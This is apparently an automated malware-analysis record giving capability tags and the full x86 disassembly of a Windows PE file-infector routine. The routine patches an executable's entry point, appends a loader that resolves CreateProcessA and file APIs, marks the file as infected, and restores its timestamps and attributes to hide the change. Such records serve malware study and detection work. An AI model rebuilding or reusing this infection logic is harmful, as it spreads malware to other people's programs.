Function at 0x401e65
Capabilities:
Contain obfuscated stackstrings
Get file attributes
Get file size
Read file on windows
Set file attributes
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, eax
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x34], edi
and dword [ebp - 0x28], 1
je 0x401e92
xor eax, 1
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor esi, esi
push esi
push edi
push 3
push esi
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [ebp - 4], ebx
jne 0x401eba
push 2
jmp 0x402568
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
mov dword [ebp - 0x2c], edi
je 0x40255f
cmp edi, 0xbb8
jb 0x40255f
cmp edi, 0x1e8480
ja 0x40255f
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x54]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
lea eax, [edi + 1]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push esi
push esi
push esi
mov ebx, eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0xc]
push esi
push eax
push edi
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, 0x905a4d
cmp dword [ebx], eax
jne 0x40224a
cmp dword [ebx + 4], 3
jne 0x40224a
mov ecx, dword [ebx + 0x3c]
mov ecx, dword [ecx + ebx - 4]
cmp ecx, 0x201
je 0x40229f
cmp ecx, 0x55000201
je 0x40229f
cmp dword [ebx + 0x38], 0x314e5343
je 0x40229f
cmp edi, 0x55f0
jbe 0x401f7c
cmp dword [ebx + edi - 0x5004], eax
je 0x40229f
mov edi, dword [ebx + 0x3c]
mov esi, 0x300
cmp edi, esi
mov dword [ebp - 0x18], edi
jg 0x40224a
cmp edi, 0x10
jl 0x40224a
add edi, ebx
cmp byte [edi], 0x50
jne 0x40224a
cmp byte [edi + 1], 0x45
jne 0x40224a
and byte [ebp - 0x38], 0
lea eax, [ebp - 0x3c]
push eax
push esi
push ebx
mov byte [ebp - 0x3c], 0x74
mov byte [ebp - 0x3b], 0x65
mov byte [ebp - 0x3a], 0x78
mov byte [ebp - 0x39], 0x74
call fcn.0040256e
add esp, 0xc
cmp eax, 0xffffffff
mov dword [ebp - 0x20], eax
je 0x40224a
add eax, ebx
mov dword [ebp - 0x14], eax
cmp dword [eax - 1], 0x7865742e
jne 0x40224a
and byte [ebp - 0x38], 0
lea eax, [ebp - 0x3c]
push eax
push esi
push ebx
mov byte [ebp - 0x3c], 0x72
mov byte [ebp - 0x3b], 0x73
mov byte [ebp - 0x3a], 0x72
mov byte [ebp - 0x39], 0x63
call fcn.0040256e
and byte [ebp - 0x37], 0
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x3c]
mov byte [ebp - 0x3c], 0x72
push eax
push esi
push ebx
mov byte [ebp - 0x3b], 0x65
mov byte [ebp - 0x3a], 0x6c
mov byte [ebp - 0x39], 0x6f
mov byte [ebp - 0x38], 0x63
call fcn.0040256e
add esp, 0x18
cmp dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x1c], eax
jne 0x402047
cmp eax, 0xffffffff
je 0x40224a
and byte [ebp - 0x37], 0
lea eax, [ebp - 0x3c]
push eax
push esi
push ebx
mov byte [ebp - 0x3c], 0x69
mov byte [ebp - 0x3b], 0x64
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x74
mov byte [ebp - 0x38], 0x61
call fcn.0040256e
and byte [ebp - 0x37], 0
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x3c]
mov byte [ebp - 0x3c], 0x72
push eax
push esi
push ebx
mov byte [ebp - 0x3b], 0x64
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x74
mov byte [ebp - 0x38], 0x61
call fcn.0040256e
mov edx, dword [ebp - 0x14]
add esp, 0x18
mov esi, eax
mov eax, dword [edi + 0x80]
mov ecx, dword [edx + 0xb]
sub ecx, dword [edx + 0x13]
mov edx, dword [ebp - 0x24]
cmp edx, 0xffffffff
jne 0x4020b5
cmp esi, edx
je 0x4020bd
lea edx, [esi + ebx]
jmp 0x4020b7
add edx, ebx
mov ecx, dword [edx + 0xb]
sub ecx, dword [edx + 0x13]
xor esi, esi
push ecx
mov dword [0x405dec], esi
mov dword [0x405de8], esi
mov dword [0x405df0], esi
mov edx, dword [edi + 0x34]
mov dword [0x405cc0], edx
push dword [edi + 0x84]
push eax
push ebx
call fcn.00402e4a
add esp, 0x10
test eax, eax
je 0x40229f
push 0x400
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [0x4052a4]
mov esi, eax
mov eax, dword [0x4052a8]
push 0x400
lea eax, [eax + ecx - 0xf]
push eax
push esi
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0x18]
push 0xd
push str.KERNEL32.dll
lea eax, [ecx + 0x28]
add ecx, 0x50
mov dword [esi + 0x3b0], eax
mov eax, dword [edi + 0x28]
add eax, dword [0x405cc0]
mov dword [esi + 0x3b4], eax
mov eax, dword [ebp - 0x20]
add eax, ebx
mov edx, dword [eax + 0xb]
mov eax, dword [eax + 0xf]
lea eax, [edx + eax - 0x20]
mov dword [edi + 0x28], eax
mov dword [esi + 0x3b8], ecx
mov eax, dword [edi + 0x50]
mov dword [esi + 0x3bc], eax
mov eax, dword [0x405410]
add dword [edi + 0x50], eax
mov eax, dword [0x405410]
mov dword [esi + 0x3fc], eax
mov eax, dword [0x405dec]
mov dword [esi + 0x3f0], eax
mov eax, dword [0x405de8]
mov dword [esi + 0x3f4], eax
mov eax, dword [0x405df0]
mov dword [esi + 0x3f8], eax
lea eax, [esi + 0x340]
push eax
call sub.MSVCRT.dll_memcpy
push 0xf
lea eax, [esi + 0x34d]
push str.GetProcAddress
push eax
call sub.MSVCRT.dll_memcpy
push 0x14
lea eax, [esi + 0x35c]
push str.GetSystemDirectoryA
push eax
call sub.MSVCRT.dll_memcpy
push 0xc
lea eax, [esi + 0x370]
push str.CreateFileA
push eax
call sub.MSVCRT.dll_memcpy
push 0xa
lea eax, [esi + 0x37c]
push str.WriteFile
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x48
lea eax, [esi + 0x386]
push 0xc
push str.CloseHandle
push eax
call sub.MSVCRT.dll_memcpy
push 0xf
lea eax, [esi + 0x392]
push str.CreateProcessA
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [esi + 0x3a1]
push 0x405680
push eax
call sub.MSVCRT.dll_strcpy
mov eax, dword [ebp - 0x20]
add esp, 0x20
add eax, ebx
mov dword [ebp - 0x14], eax
mov ecx, dword [eax + 0x13]
mov eax, dword [eax + 0xf]
lea eax, [ecx + eax - 0x20]
mov dword [ebp - 0x30], eax
add eax, ebx
mov dword [ebp - 0x24], eax
cmp dword [eax], 0
je 0x40224e
push 2
jmp 0x4022a1
mov dword [eax], 0xb8
mov dword [eax + 5], 0xe0ff
mov eax, dword [ebp - 0x1c]
cmp eax, 0xffffffff
je 0x402318
mov edx, dword [eax + ebx + 0xf]
mov ecx, dword [eax + ebx + 0x13]
add eax, ebx
add ecx, edx
mov dword [ebp - 8], ecx
mov ecx, dword [eax + 0xb]
add ecx, edx
mov edx, dword [0x405410]
add ecx, dword [edi + 0x34]
lea ecx, [ecx + edx - 0xc00]
mov edx, dword [ebp - 0x24]
mov dword [edx + 1], ecx
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 8]
cmp ecx, 0x1000
jbe 0x4022b9
push 1
pop esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
jmp 0x402569
mov ecx, dword [ebp - 0x18]
add edi, 0xa4
add ecx, 0xa4
mov dword [esi + 0x3c0], ecx
mov ecx, dword [edi]
mov dword [esi + 0x3c4], ecx
mov ecx, dword [0x405410]
add dword [edi], ecx
mov ecx, dword [ebp - 0x1c]
lea edx, [ecx + 7]
lea ecx, [eax + 7]
mov dword [esi + 0x3e8], edx
mov edi, dword [ecx]
mov dword [esi + 0x3ec], edi
mov edi, dword [eax + 0xf]
mov dword [ecx], edi
mov dword [esi + 0x3c8], edx
mov edx, dword [ecx]
mov dword [esi + 0x3cc], edx
mov edx, dword [0x405410]
add dword [ecx], edx
mov ecx, dword [ebp - 0x1c]
jmp 0x4023c0
mov eax, dword [ebp - 0x10]
add eax, ebx
mov edx, dword [eax + 0xf]
mov ecx, dword [eax + 0x13]
add ecx, edx
mov dword [ebp - 8], ecx
mov ecx, dword [eax + 0xb]
add ecx, edx
mov edx, dword [0x405410]
add ecx, dword [edi + 0x34]
lea ecx, [ecx + edx - 0xc00]
mov edx, dword [ebp - 0x24]
mov dword [edx + 1], ecx
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 8]
cmp ecx, 0x1000
jbe 0x402366
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x402566
mov ecx, dword [ebp - 0x18]
add edi, 0x8c
add ecx, 0x8c
mov dword [esi + 0x3c0], ecx
mov ecx, dword [edi]
mov dword [esi + 0x3c4], ecx
mov ecx, dword [0x405410]
add dword [edi], ecx
mov ecx, dword [ebp - 0x10]
lea edx, [ecx + 7]
lea ecx, [eax + 7]
mov dword [esi + 0x3e8], edx
mov edi, dword [ecx]
mov dword [esi + 0x3ec], edi
mov edi, dword [eax + 0xf]
mov dword [ecx], edi
mov dword [esi + 0x3c8], edx
mov edx, dword [ecx]
mov dword [esi + 0x3cc], edx
mov edx, dword [0x405410]
add dword [ecx], edx
mov ecx, dword [ebp - 0x10]
lea edx, [ecx + 0xf]
mov dword [esi + 0x3d0], edx
mov edx, dword [eax + 0xf]
mov dword [esi + 0x3d4], edx
mov edx, dword [0x405410]
add dword [eax + 0xf], edx
add ecx, 0x23
mov dword [esi + 0x3d8], ecx
mov ecx, dword [eax + 0x23]
mov dword [esi + 0x3dc], ecx
mov ecx, dword [ebp - 0x20]
mov dword [eax + 0x23], 0xe0000000
mov eax, dword [ebp - 0x14]
add ecx, 7
mov dword [esi + 0x3e0], ecx
mov ecx, dword [eax + 7]
mov dword [esi + 0x3e4], ecx
mov ecx, dword [eax + 0xf]
mov dword [eax + 7], ecx
lea eax, [esi + 0x3b0]
push eax
call fcn.004025af
lea eax, [esi + 0x3b8]
pop ecx
mov edi, eax
mov dword [ebp - 0x2c], 0xe
push edi
call fcn.004025af
add edi, 4
dec dword [ebp - 0x2c]
pop ecx
jne 0x40242e
mov eax, dword [0x405410]
mov ecx, dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
add eax, ecx
push 0
push eax
push dword [ebp - 4]
call edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor eax, eax
push eax
push eax
push eax
push dword [ebp - 4]
call edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0xc]
push 0
push eax
push 0x400
push ebx
push dword [ebp - 4]
call edi
push 0
push 0
push dword [ebp - 0x30]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0xc]
push 0
push eax
push 8
push dword [ebp - 0x24]
push dword [ebp - 4]
call edi
push 0
push 0
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0xc]
push 0
push eax
push dword [0x405410]
push dword [0x4052a8]
push dword [ebp - 4]
call edi
mov eax, dword [0x405410]
mov ecx, dword [ebp - 8]
push 0
push 0
lea eax, [eax + ecx - 0xc00]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0xc]
push 0
push eax
push 0x400
push esi
push dword [ebp - 4]
call edi
mov eax, dword [ebp - 0x18]
push 0
add eax, 0xfffffffc
push 0
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0xc]
push 0
push eax
push 2
push ebx
mov byte [ebx], 1
push dword [ebp - 4]
mov byte [ebx + 1], 2
call edi
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x54]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
cmp dword [ebp - 0x28], 0
je 0x402546
push dword [ebp - 0x34]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebx
call edi
push esi
call edi
xor eax, eax
jmp 0x402569
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret